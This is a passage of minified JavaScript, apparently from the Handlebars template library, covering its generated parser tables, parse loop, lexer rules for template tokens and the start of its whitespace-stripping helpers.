                        this.$ = new d.RawBlockNode(f[h - 2], f[h - 1], f[h], this._$);
                        break;
                    case 10:
                        this.$ = new d.MustacheNode(f[h - 1], null, "", "", this._$);
                        break;
                    case 11:
                        this.$ = d.prepareBlock(f[h - 3], f[h - 2], f[h - 1], f[h], !1, this._$);
                        break;
                    case 12:
                        this.$ = d.prepareBlock(f[h - 3], f[h - 2], f[h - 1], f[h], !0, this._$);
                        break;
                    case 13:
                        this.$ = new d.MustacheNode(f[h - 1], null, f[h - 2], d.stripFlags(f[h - 2], f[h]), this._$);
                        break;
                    case 14:
                        this.$ = new d.MustacheNode(f[h - 1], null, f[h - 2], d.stripFlags(f[h - 2], f[h]), this._$);
                        break;
                    case 15:
                        this.$ = {
                            strip: d.stripFlags(f[h - 1], f[h - 1]),
                            program: f[h]
                        };
                        break;
                    case 16:
                        this.$ = {
                            path: f[h - 1],
                            strip: d.stripFlags(f[h - 2], f[h])
                        };
                        break;
                    case 17:
                        this.$ = new d.MustacheNode(f[h - 1], null, f[h - 2], d.stripFlags(f[h - 2], f[h]), this._$);
                        break;
                    case 18:
                        this.$ = new d.MustacheNode(f[h - 1], null, f[h - 2], d.stripFlags(f[h - 2], f[h]), this._$);
                        break;
                    case 19:
                        this.$ = new d.PartialNode(f[h - 3], f[h - 2], f[h - 1], d.stripFlags(f[h - 4], f[h]), this._$);
                        break;
                    case 20:
                        this.$ = new d.PartialNode(f[h - 2], void 0, f[h - 1], d.stripFlags(f[h - 3], f[h]), this._$);
                        break;
                    case 21:
                        this.$ = new d.SexprNode([f[h - 2]].concat(f[h - 1]), f[h], this._$);
                        break;
                    case 22:
                        this.$ = new d.SexprNode([f[h]], null, this._$);
                        break;
                    case 23:
                        this.$ = f[h];
                        break;
                    case 24:
                        this.$ = new d.StringNode(f[h], this._$);
                        break;
                    case 25:
                        this.$ = new d.NumberNode(f[h], this._$);
                        break;
                    case 26:
                        this.$ = new d.BooleanNode(f[h], this._$);
                        break;
                    case 27:
                        this.$ = f[h];
                        break;
                    case 28:
                        f[h - 1].isHelper = !0,
                        this.$ = f[h - 1];
                        break;
                    case 29:
                        this.$ = new d.HashNode(f[h], this._$);
                        break;
                    case 30:
                        this.$ = [f[h - 2], f[h]];
                        break;
                    case 31:
                        this.$ = new d.PartialNameNode(f[h], this._$);
                        break;
                    case 32:
                        this.$ = new d.PartialNameNode(new d.StringNode(f[h], this._$), this._$);
                        break;
                    case 33:
                        this.$ = new d.PartialNameNode(new d.NumberNode(f[h], this._$));
                        break;
                    case 34:
                        this.$ = new d.DataNode(f[h], this._$);
                        break;
                    case 35:
                        this.$ = new d.IdNode(f[h], this._$);
                        break;
                    case 36:
                        f[h - 2].push({
                            part: f[h],
                            separator: f[h - 1]
                        }),
                        this.$ = f[h - 2];
                        break;
                    case 37:
                        this.$ = [{
                            part: f[h]
                        }];
                        break;
                    case 38:
                        this.$ = [];
                        break;
                    case 39:
                        f[h - 1].push(f[h]);
                        break;
                    case 48:
                        this.$ = [];
                        break;
                    case 49:
                        f[h - 1].push(f[h]);
                        break;
                    case 52:
                        this.$ = [f[h]];
                        break;
                    case 53:
                        f[h - 1].push(f[h])
                    }
                },
                table: [{
                    3 : 1,
                    4 : 2,
                    5 : [2, 38],
                    6 : 3,
                    12 : [2, 38],
                    13 : [2, 38],
                    16 : [2, 38],
                    24 : [2, 38],
                    26 : [2, 38],
                    31 : [2, 38],
                    32 : [2, 38],
                    34 : [2, 38]
                },
                {
                    1 : [3]
                },
                {
                    5 : [1, 4]
                },
                {
                    5 : [2, 2],
                    7 : 5,
                    8 : 6,
                    9 : 7,
                    10 : 8,
                    11 : 9,
                    12 : [1, 10],
                    13 : [1, 11],
                    14 : 16,
                    16 : [1, 20],
                    19 : 14,
                    22 : 15,
                    24 : [1, 18],
                    26 : [1, 19],
                    28 : [2, 2],
                    29 : [2, 2],
                    31 : [1, 12],
                    32 : [1, 13],
                    34 : [1, 17]
                },
                {
                    1 : [2, 1]
                },
                {
                    5 : [2, 39],
                    12 : [2, 39],
                    13 : [2, 39],
                    16 : [2, 39],
                    24 : [2, 39],
                    26 : [2, 39],
                    28 : [2, 39],
                    29 : [2, 39],
                    31 : [2, 39],
                    32 : [2, 39],
                    34 : [2, 39]
                },
                {
                    5 : [2, 3],
                    12 : [2, 3],
                    13 : [2, 3],
                    16 : [2, 3],
                    24 : [2, 3],
                    26 : [2, 3],
                    28 : [2, 3],
                    29 : [2, 3],
                    31 : [2, 3],
                    32 : [2, 3],
                    34 : [2, 3]
                },
                {
                    5 : [2, 4],
                    12 : [2, 4],
                    13 : [2, 4],
                    16 : [2, 4],
                    24 : [2, 4],
                    26 : [2, 4],
                    28 : [2, 4],
                    29 : [2, 4],
                    31 : [2, 4],
                    32 : [2, 4],
                    34 : [2, 4]
                },
                {
                    5 : [2, 5],
                    12 : [2, 5],
                    13 : [2, 5],
                    16 : [2, 5],
                    24 : [2, 5],
                    26 : [2, 5],
                    28 : [2, 5],
                    29 : [2, 5],
                    31 : [2, 5],
                    32 : [2, 5],
                    34 : [2, 5]
                },
                {
                    5 : [2, 6],
                    12 : [2, 6],
                    13 : [2, 6],
                    16 : [2, 6],
                    24 : [2, 6],
                    26 : [2, 6],
                    28 : [2, 6],
                    29 : [2, 6],
                    31 : [2, 6],
                    32 : [2, 6],
                    34 : [2, 6]
                },
                {
                    5 : [2, 7],
                    12 : [2, 7],
                    13 : [2, 7],
                    16 : [2, 7],
                    24 : [2, 7],
                    26 : [2, 7],
                    28 : [2, 7],
                    29 : [2, 7],
                    31 : [2, 7],
                    32 : [2, 7],
                    34 : [2, 7]
                },
                {
                    5 : [2, 8],
                    12 : [2, 8],
                    13 : [2, 8],
                    16 : [2, 8],
                    24 : [2, 8],
                    26 : [2, 8],
                    28 : [2, 8],
                    29 : [2, 8],
                    31 : [2, 8],
                    32 : [2, 8],
                    34 : [2, 8]
                },
                {
                    17 : 21,
                    30 : 22,
                    41 : 23,
                    50 : [1, 26],
                    52 : [1, 25],
                    53 : 24
                },
                {
                    17 : 27,
                    30 : 22,
                    41 : 23,
                    50 : [1, 26],
                    52 : [1, 25],
                    53 : 24
                },
                {
                    4 : 28,
                    6 : 3,
                    12 : [2, 38],
                    13 : [2, 38],
                    16 : [2, 38],
                    24 : [2, 38],
                    26 : [2, 38],
                    28 : [2, 38],
                    29 : [2, 38],
                    31 : [2, 38],
                    32 : [2, 38],
                    34 : [2, 38]
                },
                {
                    4 : 29,
                    6 : 3,
                    12 : [2, 38],
                    13 : [2, 38],
                    16 : [2, 38],
                    24 : [2, 38],
                    26 : [2, 38],
                    28 : [2, 38],
                    29 : [2, 38],
                    31 : [2, 38],
                    32 : [2, 38],
                    34 : [2, 38]
                },
                {
                    12 : [1, 30]
                },
                {
                    30 : 32,
                    35 : 31,
                    42 : [1, 33],
                    43 : [1, 34],
                    50 : [1, 26],
                    53 : 24
                },
                {
                    17 : 35,
                    30 : 22,
                    41 : 23,
                    50 : [1, 26],
                    52 : [1, 25],
                    53 : 24
                },
                {
                    17 : 36,
                    30 : 22,
                    41 : 23,
                    50 : [1, 26],
                    52 : [1, 25],
                    53 : 24
                },
                {
                    17 : 37,
                    30 : 22,
                    41 : 23,
                    50 : [1, 26],
                    52 : [1, 25],
                    53 : 24
                },
                {
                    25 : [1, 38]
                },
                {
                    18 : [2, 48],
                    25 : [2, 48],
                    33 : [2, 48],
                    39 : 39,
                    42 : [2, 48],
                    43 : [2, 48],
                    44 : [2, 48],
                    45 : [2, 48],
                    46 : [2, 48],
                    50 : [2, 48],
                    52 : [2, 48]
                },
                {
                    18 : [2, 22],
                    25 : [2, 22],
                    33 : [2, 22],
                    46 : [2, 22]
                },
                {
                    18 : [2, 35],
                    25 : [2, 35],
                    33 : [2, 35],
                    42 : [2, 35],
                    43 : [2, 35],
                    44 : [2, 35],
                    45 : [2, 35],
                    46 : [2, 35],
                    50 : [2, 35],
                    52 : [2, 35],
                    54 : [1, 40]
                },
                {
                    30 : 41,
                    50 : [1, 26],
                    53 : 24
                },
                {
                    18 : [2, 37],
                    25 : [2, 37],
                    33 : [2, 37],
                    42 : [2, 37],
                    43 : [2, 37],
                    44 : [2, 37],
                    45 : [2, 37],
                    46 : [2, 37],
                    50 : [2, 37],
                    52 : [2, 37],
                    54 : [2, 37]
                },
                {
                    33 : [1, 42]
                },
                {
                    20 : 43,
                    27 : 44,
                    28 : [1, 45],
                    29 : [2, 40]
                },
                {
                    23 : 46,
                    27 : 47,
                    28 : [1, 45],
                    29 : [2, 42]
                },
                {
                    15 : [1, 48]
                },
                {
                    25 : [2, 46],
                    30 : 51,
                    36 : 49,
                    38 : 50,
                    41 : 55,
                    42 : [1, 52],
                    43 : [1, 53],
                    44 : [1, 54],
                    45 : [1, 56],
                    47 : 57,
                    48 : 58,
                    49 : 60,
                    50 : [1, 59],
                    52 : [1, 25],
                    53 : 24
                },
                {
                    25 : [2, 31],
                    42 : [2, 31],
                    43 : [2, 31],
                    44 : [2, 31],
                    45 : [2, 31],
                    50 : [2, 31],
                    52 : [2, 31]
                },
                {
                    25 : [2, 32],
                    42 : [2, 32],
                    43 : [2, 32],
                    44 : [2, 32],
                    45 : [2, 32],
                    50 : [2, 32],
                    52 : [2, 32]
                },
                {
                    25 : [2, 33],
                    42 : [2, 33],
                    43 : [2, 33],
                    44 : [2, 33],
                    45 : [2, 33],
                    50 : [2, 33],
                    52 : [2, 33]
                },
                {
                    25 : [1, 61]
                },
                {
                    25 : [1, 62]
                },
                {
                    18 : [1, 63]
                },
                {
                    5 : [2, 17],
                    12 : [2, 17],
                    13 : [2, 17],
                    16 : [2, 17],
                    24 : [2, 17],
                    26 : [2, 17],
                    28 : [2, 17],
                    29 : [2, 17],
                    31 : [2, 17],
                    32 : [2, 17],
                    34 : [2, 17]
                },
                {
                    18 : [2, 50],
                    25 : [2, 50],
                    30 : 51,
                    33 : [2, 50],
                    36 : 65,
                    40 : 64,
                    41 : 55,
                    42 : [1, 52],
                    43 : [1, 53],
                    44 : [1, 54],
                    45 : [1, 56],
                    46 : [2, 50],
                    47 : 66,
                    48 : 58,
                    49 : 60,
                    50 : [1, 59],
                    52 : [1, 25],
                    53 : 24
                },
                {
                    50 : [1, 67]
                },
                {
                    18 : [2, 34],
                    25 : [2, 34],
                    33 : [2, 34],
                    42 : [2, 34],
                    43 : [2, 34],
                    44 : [2, 34],
                    45 : [2, 34],
                    46 : [2, 34],
                    50 : [2, 34],
                    52 : [2, 34]
                },
                {
                    5 : [2, 18],
                    12 : [2, 18],
                    13 : [2, 18],
                    16 : [2, 18],
                    24 : [2, 18],
                    26 : [2, 18],
                    28 : [2, 18],
                    29 : [2, 18],
                    31 : [2, 18],
                    32 : [2, 18],
                    34 : [2, 18]
                },
                {
                    21 : 68,
                    29 : [1, 69]
                },
                {
                    29 : [2, 41]
                },
                {
                    4 : 70,
                    6 : 3,
                    12 : [2, 38],
                    13 : [2, 38],
                    16 : [2, 38],
                    24 : [2, 38],
                    26 : [2, 38],
                    29 : [2, 38],
                    31 : [2, 38],
                    32 : [2, 38],
                    34 : [2, 38]
                },
                {
                    21 : 71,
                    29 : [1, 69]
                },
                {
                    29 : [2, 43]
                },
                {
                    5 : [2, 9],
                    12 : [2, 9],
                    13 : [2, 9],
                    16 : [2, 9],
                    24 : [2, 9],
                    26 : [2, 9],
                    28 : [2, 9],
                    29 : [2, 9],
                    31 : [2, 9],
                    32 : [2, 9],
                    34 : [2, 9]
                },
                {
                    25 : [2, 44],
                    37 : 72,
                    47 : 73,
                    48 : 58,
                    49 : 60,
                    50 : [1, 74]
                },
                {
                    25 : [1, 75]
                },
                {
                    18 : [2, 23],
                    25 : [2, 23],
                    33 : [2, 23],
                    42 : [2, 23],
                    43 : [2, 23],
                    44 : [2, 23],
                    45 : [2, 23],
                    46 : [2, 23],
                    50 : [2, 23],
                    52 : [2, 23]
                },
                {
                    18 : [2, 24],
                    25 : [2, 24],
                    33 : [2, 24],
                    42 : [2, 24],
                    43 : [2, 24],
                    44 : [2, 24],
                    45 : [2, 24],
                    46 : [2, 24],
                    50 : [2, 24],
                    52 : [2, 24]
                },
                {
                    18 : [2, 25],
                    25 : [2, 25],
                    33 : [2, 25],
                    42 : [2, 25],
                    43 : [2, 25],
                    44 : [2, 25],
                    45 : [2, 25],
                    46 : [2, 25],
                    50 : [2, 25],
                    52 : [2, 25]
                },
                {
                    18 : [2, 26],
                    25 : [2, 26],
                    33 : [2, 26],
                    42 : [2, 26],
                    43 : [2, 26],
                    44 : [2, 26],
                    45 : [2, 26],
                    46 : [2, 26],
                    50 : [2, 26],
                    52 : [2, 26]
                },
                {
                    18 : [2, 27],
                    25 : [2, 27],
                    33 : [2, 27],
                    42 : [2, 27],
                    43 : [2, 27],
                    44 : [2, 27],
                    45 : [2, 27],
                    46 : [2, 27],
                    50 : [2, 27],
                    52 : [2, 27]
                },
                {
                    17 : 76,
                    30 : 22,
                    41 : 23,
                    50 : [1, 26],
                    52 : [1, 25],
                    53 : 24
                },
                {
                    25 : [2, 47]
                },
                {
                    18 : [2, 29],
                    25 : [2, 29],
                    33 : [2, 29],
                    46 : [2, 29],
                    49 : 77,
                    50 : [1, 74]
                },
                {
                    18 : [2, 37],
                    25 : [2, 37],
                    33 : [2, 37],
                    42 : [2, 37],
                    43 : [2, 37],
                    44 : [2, 37],
                    45 : [2, 37],
                    46 : [2, 37],
                    50 : [2, 37],
                    51 : [1, 78],
                    52 : [2, 37],
                    54 : [2, 37]
                },
                {
                    18 : [2, 52],
                    25 : [2, 52],
                    33 : [2, 52],
                    46 : [2, 52],
                    50 : [2, 52]
                },
                {
                    12 : [2, 13],
                    13 : [2, 13],
                    16 : [2, 13],
                    24 : [2, 13],
                    26 : [2, 13],
                    28 : [2, 13],
                    29 : [2, 13],
                    31 : [2, 13],
                    32 : [2, 13],
                    34 : [2, 13]
                },
                {
                    12 : [2, 14],
                    13 : [2, 14],
                    16 : [2, 14],
                    24 : [2, 14],
                    26 : [2, 14],
                    28 : [2, 14],
                    29 : [2, 14],
                    31 : [2, 14],
                    32 : [2, 14],
                    34 : [2, 14]
                },
                {
                    12 : [2, 10]
                },
                {
                    18 : [2, 21],
                    25 : [2, 21],
                    33 : [2, 21],
                    46 : [2, 21]
                },
                {
                    18 : [2, 49],
                    25 : [2, 49],
                    33 : [2, 49],
                    42 : [2, 49],
                    43 : [2, 49],
                    44 : [2, 49],
                    45 : [2, 49],
                    46 : [2, 49],
                    50 : [2, 49],
                    52 : [2, 49]
                },
                {
                    18 : [2, 51],
                    25 : [2, 51],
                    33 : [2, 51],
                    46 : [2, 51]
                },
                {
                    18 : [2, 36],
                    25 : [2, 36],
                    33 : [2, 36],
                    42 : [2, 36],
                    43 : [2, 36],
                    44 : [2, 36],
                    45 : [2, 36],
                    46 : [2, 36],
                    50 : [2, 36],
                    52 : [2, 36],
                    54 : [2, 36]
                },
                {
                    5 : [2, 11],
                    12 : [2, 11],
                    13 : [2, 11],
                    16 : [2, 11],
                    24 : [2, 11],
                    26 : [2, 11],
                    28 : [2, 11],
                    29 : [2, 11],
                    31 : [2, 11],
                    32 : [2, 11],
                    34 : [2, 11]
                },
                {
                    30 : 79,
                    50 : [1, 26],
                    53 : 24
                },
                {
                    29 : [2, 15]
                },
                {
                    5 : [2, 12],
                    12 : [2, 12],
                    13 : [2, 12],
                    16 : [2, 12],
                    24 : [2, 12],
                    26 : [2, 12],
                    28 : [2, 12],
                    29 : [2, 12],
                    31 : [2, 12],
                    32 : [2, 12],
                    34 : [2, 12]
                },
                {
                    25 : [1, 80]
                },
                {
                    25 : [2, 45]
                },
                {
                    51 : [1, 78]
                },
                {
                    5 : [2, 20],
                    12 : [2, 20],
                    13 : [2, 20],
                    16 : [2, 20],
                    24 : [2, 20],
                    26 : [2, 20],
                    28 : [2, 20],
                    29 : [2, 20],
                    31 : [2, 20],
                    32 : [2, 20],
                    34 : [2, 20]
                },
                {
                    46 : [1, 81]
                },
                {
                    18 : [2, 53],
                    25 : [2, 53],
                    33 : [2, 53],
                    46 : [2, 53],
                    50 : [2, 53]
                },
                {
                    30 : 51,
                    36 : 82,
                    41 : 55,
                    42 : [1, 52],
                    43 : [1, 53],
                    44 : [1, 54],
                    45 : [1, 56],
                    50 : [1, 26],
                    52 : [1, 25],
                    53 : 24
                },
                {
                    25 : [1, 83]
                },
                {
                    5 : [2, 19],
                    12 : [2, 19],
                    13 : [2, 19],
                    16 : [2, 19],
                    24 : [2, 19],
                    26 : [2, 19],
                    28 : [2, 19],
                    29 : [2, 19],
                    31 : [2, 19],
                    32 : [2, 19],
                    34 : [2, 19]
                },
                {
                    18 : [2, 28],
                    25 : [2, 28],
                    33 : [2, 28],
                    42 : [2, 28],
                    43 : [2, 28],
                    44 : [2, 28],
                    45 : [2, 28],
                    46 : [2, 28],
                    50 : [2, 28],
                    52 : [2, 28]
                },
                {
                    18 : [2, 30],
                    25 : [2, 30],
                    33 : [2, 30],
                    46 : [2, 30],
                    50 : [2, 30]
                },
                {
                    5 : [2, 16],
                    12 : [2, 16],
                    13 : [2, 16],
                    16 : [2, 16],
                    24 : [2, 16],
                    26 : [2, 16],
                    28 : [2, 16],
                    29 : [2, 16],
                    31 : [2, 16],
                    32 : [2, 16],
                    34 : [2, 16]
                }],
                defaultActions: {
                    4 : [2, 1],
                    44 : [2, 41],
                    47 : [2, 43],
                    57 : [2, 47],
                    63 : [2, 10],
                    70 : [2, 15],
                    73 : [2, 45]
                },
                parseError: function(a, b) {
                    throw new Error(a)
                },
                parse: function(a) {
                    function b() {
                        var a;
                        return a = c.lexer.lex() || 1,
                        "number" != typeof a && (a = c.symbols_[a] || a),
                        a
                    }
                    var c = this,
                    d = [0],
                    e = [null],
                    f = [],
                    g = this.table,
                    h = "",
                    i = 0,
                    j = 0,
                    k = 0;
                    this.lexer.setInput(a),
                    this.lexer.yy = this.yy,
                    this.yy.lexer = this.lexer,
                    this.yy.parser = this,
                    "undefined" == typeof this.lexer.yylloc && (this.lexer.yylloc = {});
                    var l = this.lexer.yylloc;
                    f.push(l);
                    var m = this.lexer.options && this.lexer.options.ranges;
                    "function" == typeof this.yy.parseError && (this.parseError = this.yy.parseError);
                    for (var n, o, p, q, r, s, t, u, v, w = {};;) {
                        if (p = d[d.length - 1], this.defaultActions[p] ? q = this.defaultActions[p] : ((null === n || "undefined" == typeof n) && (n = b()), q = g[p] && g[p][n]), "undefined" == typeof q || !q.length || !q[0]) {
                            var x = "";
                            if (!k) {
                                v = [];
                                for (s in g[p]) this.terminals_[s] && s > 2 && v.push("'" + this.terminals_[s] + "'");
                                x = this.lexer.showPosition ? "Parse error on line " + (i + 1) + ":\n" + this.lexer.showPosition() + "\nExpecting " + v.join(", ") + ", got '" + (this.terminals_[n] || n) + "'": "Parse error on line " + (i + 1) + ": Unexpected " + (1 == n ? "end of input": "'" + (this.terminals_[n] || n) + "'"),
                                this.parseError(x, {
                                    text: this.lexer.match,
                                    token: this.terminals_[n] || n,
                                    line: this.lexer.yylineno,
                                    loc: l,
                                    expected: v
                                })
                            }
                        }
                        if (q[0] instanceof Array && q.length > 1) throw new Error("Parse Error: multiple actions possible at state: " + p + ", token: " + n);
                        switch (q[0]) {
                        case 1:
                            d.push(n),
                            e.push(this.lexer.yytext),
                            f.push(this.lexer.yylloc),
                            d.push(q[1]),
                            n = null,
                            o ? (n = o, o = null) : (j = this.lexer.yyleng, h = this.lexer.yytext, i = this.lexer.yylineno, l = this.lexer.yylloc, k > 0 && k--);
                            break;
                        case 2:
                            if (t = this.productions_[q[1]][1], w.$ = e[e.length - t], w._$ = {
                                first_line: f[f.length - (t || 1)].first_line,
                                last_line: f[f.length - 1].last_line,
                                first_column: f[f.length - (t || 1)].first_column,
                                last_column: f[f.length - 1].last_column
                            },
                            m && (w._$.range = [f[f.length - (t || 1)].range[0], f[f.length - 1].range[1]]), r = this.performAction.call(w, h, j, i, this.yy, q[1], e, f), "undefined" != typeof r) return r;
                            t && (d = d.slice(0, -1 * t * 2), e = e.slice(0, -1 * t), f = f.slice(0, -1 * t)),
                            d.push(this.productions_[q[1]][0]),
                            e.push(w.$),
                            f.push(w._$),
                            u = g[d[d.length - 2]][d[d.length - 1]],
                            d.push(u);
                            break;
                        case 3:
                            return ! 0
                        }
                    }
                    return ! 0
                }
            },
            c = function() {
                var a = {
                    EOF: 1,
                    parseError: function(a, b) {
                        if (!this.yy.parser) throw new Error(a);
                        this.yy.parser.parseError(a, b)
                    },
                    setInput: function(a) {
                        return this._input = a,
                        this._more = this._less = this.done = !1,
                        this.yylineno = this.yyleng = 0,
                        this.yytext = this.matched = this.match = "",
                        this.conditionStack = ["INITIAL"],
                        this.yylloc = {
                            first_line: 1,
                            first_column: 0,
                            last_line: 1,
                            last_column: 0
                        },
                        this.options.ranges && (this.yylloc.range = [0, 0]),
                        this.offset = 0,
                        this
                    },
                    input: function() {
                        var a = this._input[0];
                        this.yytext += a,
                        this.yyleng++,
                        this.offset++,
                        this.match += a,
                        this.matched += a;
                        var b = a.match(/(?:\r\n?|\n).*/g);
                        return b ? (this.yylineno++, this.yylloc.last_line++) : this.yylloc.last_column++,
                        this.options.ranges && this.yylloc.range[1]++,
                        this._input = this._input.slice(1),
                        a
                    },
                    unput: function(a) {
                        var b = a.length,
                        c = a.split(/(?:\r\n?|\n)/g);
                        this._input = a + this._input,
                        this.yytext = this.yytext.substr(0, this.yytext.length - b - 1),
                        this.offset -= b;
                        var d = this.match.split(/(?:\r\n?|\n)/g);
                        this.match = this.match.substr(0, this.match.length - 1),
                        this.matched = this.matched.substr(0, this.matched.length - 1),
                        c.length - 1 && (this.yylineno -= c.length - 1);
                        var e = this.yylloc.range;
                        return this.yylloc = {
                            first_line: this.yylloc.first_line,
                            last_line: this.yylineno + 1,
                            first_column: this.yylloc.first_column,
                            last_column: c ? (c.length === d.length ? this.yylloc.first_column: 0) + d[d.length - c.length].length - c[0].length: this.yylloc.first_column - b
                        },
                        this.options.ranges && (this.yylloc.range = [e[0], e[0] + this.yyleng - b]),
                        this
                    },
                    more: function() {
                        return this._more = !0,
                        this
                    },
                    less: function(a) {
                        this.unput(this.match.slice(a))
                    },
                    pastInput: function() {
                        var a = this.matched.substr(0, this.matched.length - this.match.length);
                        return (a.length > 20 ? "...": "") + a.substr( - 20).replace(/\n/g, "")
                    },
                    upcomingInput: function() {
                        var a = this.match;
                        return a.length < 20 && (a += this._input.substr(0, 20 - a.length)),
                        (a.substr(0, 20) + (a.length > 20 ? "...": "")).replace(/\n/g, "")
                    },
                    showPosition: function() {
                        var a = this.pastInput(),
                        b = new Array(a.length + 1).join("-");
                        return a + this.upcomingInput() + "\n" + b + "^"
                    },
                    next: function() {
                        if (this.done) return this.EOF;
                        this._input || (this.done = !0);
                        var a, b, c, d, e;
                        this._more || (this.yytext = "", this.match = "");
                        for (var f = this._currentRules(), g = 0; g < f.length && (c = this._input.match(this.rules[f[g]]), !c || b && !(c[0].length > b[0].length) || (b = c, d = g, this.options.flex)); g++);
                        return b ? (e = b[0].match(/(?:\r\n?|\n).*/g), e && (this.yylineno += e.length), this.yylloc = {
                            first_line: this.yylloc.last_line,
                            last_line: this.yylineno + 1,
                            first_column: this.yylloc.last_column,
                            last_column: e ? e[e.length - 1].length - e[e.length - 1].match(/\r?\n?/)[0].length: this.yylloc.last_column + b[0].length
                        },
                        this.yytext += b[0], this.match += b[0], this.matches = b, this.yyleng = this.yytext.length, this.options.ranges && (this.yylloc.range = [this.offset, this.offset += this.yyleng]), this._more = !1, this._input = this._input.slice(b[0].length), this.matched += b[0], a = this.performAction.call(this, this.yy, this, f[d], this.conditionStack[this.conditionStack.length - 1]), this.done && this._input && (this.done = !1), a ? a: void 0) : "" === this._input ? this.EOF: this.parseError("Lexical error on line " + (this.yylineno + 1) + ". Unrecognized text.\n" + this.showPosition(), {
                            text: "",
                            token: null,
                            line: this.yylineno
                        })
                    },
                    lex: function() {
                        var a = this.next();
                        return "undefined" != typeof a ? a: this.lex()
                    },
                    begin: function(a) {
                        this.conditionStack.push(a)
                    },
                    popState: function() {
                        return this.conditionStack.pop()
                    },
                    _currentRules: function() {
                        return this.conditions[this.conditionStack[this.conditionStack.length - 1]].rules
                    },
                    topState: function() {
                        return this.conditionStack[this.conditionStack.length - 2]
                    },
                    pushState: function(a) {
                        this.begin(a)
                    }
                };
                return a.options = {},
                a.performAction = function(a, b, c, d) {
                    function e(a, c) {
                        return b.yytext = b.yytext.substr(a, b.yyleng - c)
                    }
                    switch (c) {
                    case 0:
                        if ("\\\\" === b.yytext.slice( - 2) ? (e(0, 1), this.begin("mu")) : "\\" === b.yytext.slice( - 1) ? (e(0, 1), this.begin("emu")) : this.begin("mu"), b.yytext) return 12;
                        break;
                    case 1:
                        return 12;
                    case 2:
                        return this.popState(),
                        12;
                    case 3:
                        return b.yytext = b.yytext.substr(5, b.yyleng - 9),
                        this.popState(),
                        15;
                    case 4:
                        return 12;
                    case 5:
                        return e(0, 4),
                        this.popState(),
                        13;
                    case 6:
                        return 45;
                    case 7:
                        return 46;
                    case 8:
                        return 16;
                    case 9:
                        return this.popState(),
                        this.begin("raw"),
                        18;
                    case 10:
                        return 34;
                    case 11:
                        return 24;
                    case 12:
                        return 29;
                    case 13:
                        return this.popState(),
                        28;
                    case 14:
                        return this.popState(),
                        28;
                    case 15:
                        return 26;
                    case 16:
                        return 26;
                    case 17:
                        return 32;
                    case 18:
                        return 31;
                    case 19:
                        this.popState(),
                        this.begin("com");
                        break;
                    case 20:
                        return e(3, 5),
                        this.popState(),
                        13;
                    case 21:
                        return 31;
                    case 22:
                        return 51;
                    case 23:
                        return 50;
                    case 24:
                        return 50;
                    case 25:
                        return 54;
                    case 26:
                        break;
                    case 27:
                        return this.popState(),
                        33;
                    case 28:
                        return this.popState(),
                        25;
                    case 29:
                        return b.yytext = e(1, 2).replace(/\\"/g, '"'),
                        42;
                    case 30:
                        return b.yytext = e(1, 2).replace(/\\'/g, "'"),
                        42;
                    case 31:
                        return 52;
                    case 32:
                        return 44;
                    case 33:
                        return 44;
                    case 34:
                        return 43;
                    case 35:
                        return 50;
                    case 36:
                        return b.yytext = e(1, 2),
                        50;
                    case 37:
                        return "INVALID";
                    case 38:
                        return 5
                    }
                },
                a.rules = [/^(?:[^\x00]*?(?=(\{\{)))/, /^(?:[^\x00]+)/, /^(?:[^\x00]{2,}?(?=(\{\{|\\\{\{|\\\\\{\{|$)))/, /^(?:\{\{\{\{\/[^\s!"#%-,\.\/;->@\[-\^`\{-~]+(?=[=}\s\/.])\}\}\}\})/, /^(?:[^\x00]*?(?=(\{\{\{\{\/)))/, /^(?:[\s\S]*?--\}\})/, /^(?:\()/, /^(?:\))/, /^(?:\{\{\{\{)/, /^(?:\}\}\}\})/, /^(?:\{\{(~)?>)/, /^(?:\{\{(~)?#)/, /^(?:\{\{(~)?\/)/, /^(?:\{\{(~)?\^\s*(~)?\}\})/, /^(?:\{\{(~)?\s*else\s*(~)?\}\})/, /^(?:\{\{(~)?\^)/, /^(?:\{\{(~)?\s*else\b)/, /^(?:\{\{(~)?\{)/, /^(?:\{\{(~)?&)/, /^(?:\{\{!--)/, /^(?:\{\{![\s\S]*?\}\})/, /^(?:\{\{(~)?)/, /^(?:=)/, /^(?:\.\.)/, /^(?:\.(?=([=~}\s\/.)])))/, /^(?:[\/.])/, /^(?:\s+)/, /^(?:\}(~)?\}\})/, /^(?:(~)?\}\})/, /^(?:"(\\["]|[^"])*")/, /^(?:'(\\[']|[^'])*')/, /^(?:@)/, /^(?:true(?=([~}\s)])))/, /^(?:false(?=([~}\s)])))/, /^(?:-?[0-9]+(?:\.[0-9]+)?(?=([~}\s)])))/, /^(?:([^\s!"#%-,\.\/;->@\[-\^`\{-~]+(?=([=~}\s\/.)]))))/, /^(?:\[[^\]]*\])/, /^(?:.)/, /^(?:$)/],
                a.conditions = {
                    mu: {
                        rules: [6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38],
                        inclusive: !1
                    },
                    emu: {
                        rules: [2],
                        inclusive: !1
                    },
                    com: {
                        rules: [5],
                        inclusive: !1
                    },
                    raw: {
                        rules: [3, 4],
                        inclusive: !1
                    },
                    INITIAL: {
                        rules: [0, 1, 38],
                        inclusive: !0
                    }
                },
                a
            } ();
            return b.lexer = c,
            a.prototype = b,
            b.Parser = a,
            new a
        } ();
        return a = b
    } (),
    l = function(a) {
        "use strict";
        function b(a, b) {
            return {
                left: "~" === a.charAt(2),
                right: "~" === b.charAt(b.length - 3)
            }
        }
        function c(a, b, c, d, i, k) {
            if (a.sexpr.id.original !== d.path.original) throw new j(a.sexpr.id.original + " doesn't match " + d.path.original, a);
            var l = c && c.program,
            m = {
                left: a.strip.left,
                right: d.strip.right,
                openStandalone: f(b.statements),
                closeStandalone: e((l || b).statements)
            };
            if (a.strip.right && g(b.statements, null, !0), l) {
                var n = c.strip;
                n.left && h(b.statements, null, !0),
                n.right && g(l.statements, null, !0),
                d.strip.left && h(l.statements, null, !0),
                e(b.statements) && f(l.statements) && (h(b.statements), g(l.statements))
            } else d.strip.left && h(b.statements, null, !0);
            return i ? new this.BlockNode(a, l, b, m, k) : new this.BlockNode(a, b, l, m, k)
        }
        function d(a, b) {
            for (var c = 0,
            d = a.length; d > c; c++) {
                var i = a[c],
                j = i.strip;
                if (j) {
                    var k = e(a, c, b, "partial" === i.type),
                    l = f(a, c, b),
                    m = j.openStandalone && k,
                    n = j.closeStandalone && l,
                    o = j.inlineStandalone && k && l;
                    j.right && g(a, c, !0),
                    j.left && h(a, c, !0),
